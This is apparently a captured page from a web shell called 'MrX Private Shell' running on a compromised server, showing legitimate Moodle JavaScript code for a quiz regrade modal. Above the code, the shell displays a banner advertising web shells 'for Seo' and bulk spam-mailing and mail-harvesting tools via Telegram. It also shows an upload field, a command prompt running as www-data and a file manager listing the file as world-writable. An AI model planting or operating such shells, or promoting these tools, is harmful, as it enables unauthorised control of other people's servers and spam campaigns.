__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Regrade modal form is used to regrade or dryrun the attempts and questions.
 *
 * @module quiz_overview/regrade_modal
 * @copyright 2024 The Open University
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import Modal from 'core/modal';
import Templates from 'core/templates';
import {getString} from 'core/str';
import Notification from 'core/notification';

/**
 * @type {Object} selectors used in this code.
 */
const SELECTORS = {
    'allQuestionsButton': '#regradeallquestions',
    'dryRunButton': '#dryrunbutton',
    'mainTableForm': '#attemptsform',
    'questionCheckbox': '[id^="regradeslot"]',
    'regradeAttemptsButtonId': 'regradeattempts',
    'regradeButton': '#regradebutton',
    'reportTableSelectedAttempts': '[id^="attemptid_"]:checked',
};

/**
 * Show the regrade modal.
 *
 * @param {Event} e click event that opened the modal.
 * @returns {Promise<void>}
 */
const showModal = async(e) => {
    e.preventDefault();
    try {
        let hiddenInputs = [];
        document.querySelectorAll(SELECTORS.mainTableForm + ' input[type=hidden]').forEach((hiddenInput) => {
            hiddenInputs.push({'name': hiddenInput.name, 'value': hiddenInput.value});
        });
        document.querySelectorAll(SELECTORS.reportTableSelectedAttempts).forEach((selectedAttempt) => {
            hiddenInputs.push({'name': selectedAttempt.name, 'value': selectedAttempt.value});
        });
        const modal = await Modal.create({
            title: getString('regrade', 'quiz_overview'),
            body: Templates.render('quiz_overview/regrade_modal_body', {
                'actionurl': document.querySelector(SELECTORS.mainTableForm).action,
                'hasselectedattempts': document.querySelector(SELECTORS.reportTableSelectedAttempts) !== null,
                'questions': JSON.parse(document.getElementById(SELECTORS.regradeAttemptsButtonId).dataset.slots),
                'hiddeninputs': hiddenInputs,
            }),
            isVerticallyCentered: true,
            removeOnClose: true,
            show: true,
        });
        modal.getRoot()[0].addEventListener('change', updateButtonStates);
        modal.getBodyPromise().then(updateButtonStates).catch(Notification.exception);

        // TODO MDL-82204 - there is not currently a good way to add a help icon to a modal overall, so we do it this way.
        modal.getTitlePromise().then((title) => {
            title.append(' ' + document.getElementById(SELECTORS.regradeAttemptsButtonId).dataset.helpIcon);
            // The next line is necessary to get a nice layout of the help icon.
            title[0].querySelector('a').classList.add('align-baseline');
            return title[0];
        }).catch(Notification.exception);
    } catch (ex) {
        await Notification.exception(ex);
    }
};

/**
 * Enables and disables controls when the selected options are changed.
 */
const updateButtonStates = () => {
    const allQuestionsButton = document.querySelector(SELECTORS.allQuestionsButton);

    // Question checkboxes enabled only if Selected questions is checked.
    document.querySelectorAll(SELECTORS.questionCheckbox).forEach((questionCheckbox) => {
        questionCheckbox.disabled = allQuestionsButton.checked;
    });

    // State of submit buttons.
    const isAnyQuestionSelected = document.querySelector(SELECTORS.questionCheckbox + ':checked') !== null;
    const canSubmit = allQuestionsButton.checked || isAnyQuestionSelected;
    document.querySelector(SELECTORS.regradeButton).disabled = !canSubmit;
    document.querySelector(SELECTORS.dryRunButton).disabled = !canSubmit;
};

/**
 * Initialize the regrade button to open the modal.
 */
export const init = () => {
    const regradeButton = document.getElementById(SELECTORS.regradeAttemptsButtonId);
    if (!regradeButton) {
        return;
    }

    regradeButton.addEventListener('click', showModal);
};

Filemanager

Name Type Size Permission Actions
regrade_modal.js File 4.5 KB 0777
Filemanager